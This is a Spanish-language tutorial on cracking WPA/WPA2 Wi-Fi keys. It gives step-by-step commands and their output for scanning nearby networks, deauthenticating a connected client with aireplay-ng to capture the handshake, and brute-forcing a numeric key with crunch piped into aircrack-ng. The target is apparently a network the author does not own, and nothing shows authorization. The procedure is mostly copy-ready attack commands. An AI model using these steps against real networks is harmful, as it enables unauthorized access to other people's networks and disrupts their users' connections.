Generar claves con crunch para WPA y WPA2
Hace un tiempo me venían pidiendo armar un tutorial sobre cómo crackear redes con
cifrados WPA y WPA2.
Entonces decidí por realizar este tuto utilizando una herramienta que reemplaza a los
diccionarios y en mi caso me dió bastante efectividad.
Empecemos por dejar en claro un par de cuestiones, la encriptación WEP como ya
sabemos es fácil de romper, se capturan paquetes para luego por ingeniería inversa
crackear esos paquetes y conseguir la clave.
En el caso de WPA y WPA2 es distinto, el método anterior no puede ser utilizado.
Estos tipos de cifrados utilizan algo llamado “handshake” (apretón de manos), es una
especie de “saludo” entre el AP (Access Point) y el Cliente.
Lo que debemos capturar en este caso justamente es ese handshake para estar en
“confianza” con el AP e intentar mediante un diccionario o en este caso con otro
método que utilizo yo, romper la clave.
Una vez aclarado el funcionamiento, largo el método:
Voy a utilizar un software llamado “crunch”
Vamos a bajarlo desde acá
DESCARGAR CRUNCH
tar -xvzf crunch*.tgz
Entramos al directorio
cd crunch
Lo compilamos, por las dudas primero dejo el build-essential por si no lo tienen:
apt-get install build-essential
Ahora si, lo compilamos:
make
make install
Por último copiamos el comando al sbin:
cp crunch /usr/sbin/
Voy a dar por sentado que tienen instalado aircrack-ng, pero como soy bueno, les dejo
el apt-get por las dudas:
apt-get install aircrack-ng
Empezamos !!
Ponemos en modo promiscuo (monitor) nuestra placa (en mi caso la interfaz es aht1,
cada cual ponga la suya):
airodump-ng ath1
Me aparecen un par de redes:
CH 6 ][ Elapsed: 4 s ][ 2010-07-11 23:44
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1B:11:D3:A9:5D 2 2 0 0 1 54 . WEP WEP dlink-007
00:14:BF:79:8B:3C 5 2 0 0 6 54 WPA2 CCMP PSK PORINGA
00:21:29:EB:57:85 2 0 0 0 6 54 OPN Nazario_w
00:21:29:96:85:0C 9 3 1 0 6 54e WEP WEP Martin
00:1A:70:3D:3D:81 3 2 0 0 6 54 OPN linksys
00:1C:10:2A:C7:99 5 3 0 0 6 54e OPN Nazario_w
00:18:E7:56:26:89 7 4 0 0 6 54 . WPA TKIP PSK default
00:26:5A:53:E5:84 4 4 0 0 6 54 WEP WEP AR-RED
00:1D:7E:22:25:22 -1 0 3 1 6 -1 OPN
00:18:E7:61:A9:47 8 3 0 0 6 54 . WPA TKIP PSK ESTUDIO J
00:0A:E5:79:83:E8 1 4 1 0 11 11 WEP WEP CIBERA
00:21:29:72:FC:32 5 3 0 0 11 54 . WEP WEP linksys
00:0F:A3:F1:9C:5B 21 6 0 0 12 54 . WEP WEP LKSA
00:25:9C:69:97:B7 16 12 0 0 11 54e WPA2 TKIP PSK WIPS
00:0F:A3:F1:67:8A 6 6 0 0 4 54 . WEP WEP Wi-Fi Arn
1C:AF:F7:42:E1:E6 -1 0 0 0 9 -1 <length:
00:15:63:11:69:90 16 10 0 0 9 12e. WEP WEP <length:
00:25:9C:3B:69:28 23 15 0 0 6 54e WEP WEP Apicc
00:40:77:BB:55:03 21 19 0 0 6 54e WPA TKIP PSK dd-wrt
00:21:00:61:B9:12 1 2 0 0 1 54 OPN FT89769 </length:
</length:
Juro que el ESSID PORINGA no es mío !!
Bueno, sigamos, la que voy a utilizar es "default" que tiene cifrado WPA TKIP PSK:
TKIP: (Temporal Key Integrity Protocol)
PSK: (Pre-Shared Key)
Una vez que tenemos el MAC del AP y el canal, ponemos:
airodump-ng -c NUMERODELCANAL --bssid MAC-DEL-AP -w default ath1
En este caso:
airodump-ng -c 6 --bssid 00:18:E7:56:26:89 -w default ath1
Ahora airodump sólo va a escuchar ese canal y ese AP.:
CH 6 ][ Elapsed: 9 mins ][ 2010-07-11 23:53 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:18:E7:56:26:89 9 90 4152 762 5 6 54 . WPA TKIP PSK defau
BSSID STATION PWR Rate Lost Packets Probes
00:18:E7:56:26:89 00:0C:41:7A:77:43 51 11 – 1 42 1102
00:18:E7:56:26:89 00:1F:E1:23:33:40 15 0 – 1 0 61 default
Acá tenemos dos posibles escenarios:
1) Esperar que se conecte un nuevo cliente para adquirir el handshake
2) Desautenticar un cliente ya conectado para que vuelva a conectarse y adquirir el
handshake
En este caso vamos a utilizar la segunda opción, anotamos el MAC del AP y el MAC
del cliente conectado.
AP: 00:18:E7:56:26:89
Cliente Conectado: 00:0C:41:7A:77:43
Procedemos a desautenticar al cliente mediante este comando:
aireplay-ng -0 10 -a MAC-DEL-AP -c MAC-DEL-CLIENTE ath1
En este caso:
aireplay-ng -0 10 -a 00:18:E7:56:26:89 -c 00:0C:41:7A:77:43 ath1
Hace algo así:
[root@debian dke]# aireplay-ng -0 10 -a 00:18:E7:56:26:89 -c 00:0C:41:7A:77:43 ath1
23:46:18 Waiting for beacon frame (BSSID: 00:18:E7:56:26:89) on channel 6
23:46:19 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 1|173 ACKs]
23:46:20 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [14|155 ACKs]
23:46:20 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|207 ACKs]
23:46:21 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [11|173 ACKs]
23:46:21 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [31|186 ACKs]
23:46:26 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|240 ACKs]
23:46:27 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [38|186 ACKs]
23:46:27 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|137 ACKs]
23:46:28 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|147 ACKs]
23:46:32 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [19|258 ACKs]
Si no lo desautentifica a la primera, volver a repetir el comando.
Una vez que el usuario es desautenticado y vuelva a ingresar nos va a aparecer arriba a
la derecha el handshake
CH 6 ][ Elapsed: 9 mins ][ 2010-07-11 23:53 ][ WPA handshake: 00:18:E7:56:26:89
Listo, ya tenemos nuestro handshake, ahora utilizamos el crunch:
Escribimos esto:
crunch 8 9 0123456789 | aircrack-ng -a 2 RUTA-DEL-ARCHIVO-CAP -e default -b
HANDSHAKE -w -
En este caso:
crunch 8 9 0123456789 | aircrack-ng -a 2 /home/dke/defa*.cap -e default -b
00:18:E7:56:26:89 -w -
Aclaración: "crunch 8 9" hace referencia a que las claves WPA como mínimo tienen 8
caracteres, en este caso yo quiero que sólo pruebe hasta 9 caracteres, y que utilice los
números 0123456789.
El 75% de los usuarios cometen el error de "securizar" la red con WPA y usar claves
numéricas, que en este caso vamos a ver lo fáciles que son de conseguir con crunch
Si quisiéramos que crunch use letras, pondríamos "crunch 8 15 (máximo 15
caracteres)" abcdefghijklmno"
Ahora vamos a ver como crunch empieza a generar claves y a probarlas con el aircrack-
ng:
[root@debian dke]# crunch 8 9 0123456789 | aircrack-ng -a 2 /home/dke/defa*.cap -e
default -b 00:18:E7:56:26:89 -w -
Opening /home/dke/default-01.cap
Reading packets, please wait…
Aircrack-ng 1.0 rc3
[00:00:50] 72172 keys tested (1445.33 k/s)
KEY FOUND! [ 00072169 ]
Master Key : F0 BE A1 08 A5 4C D6 E4 08 5C 5F B4 42 4A 69 F0
32 1D C9 11 D5 F3 BB 64 3D F2 31 AB FA F7 A7 1E
Transient Key : 72 42 D4 F0 91 91 E9 27 F8 8E D0 DF 1D 48 1B AD
16 10 78 D5 B1 7E 8D 9E 7A 76 68 AC 44 2A 37 94
30 4C 47 F5 FE EB 01 7E 8B 64 87 EF 78 3D 2F 1E
E8 6B 4A 2E E4 95 F4 57 4A 32 05 54 66 AA D6 98
EAPOL HMAC : C8 28 B2 83 87 05 18 45 D8 26 C0 42 1D AB A0 7D
Listo, ya tenemos la clave :)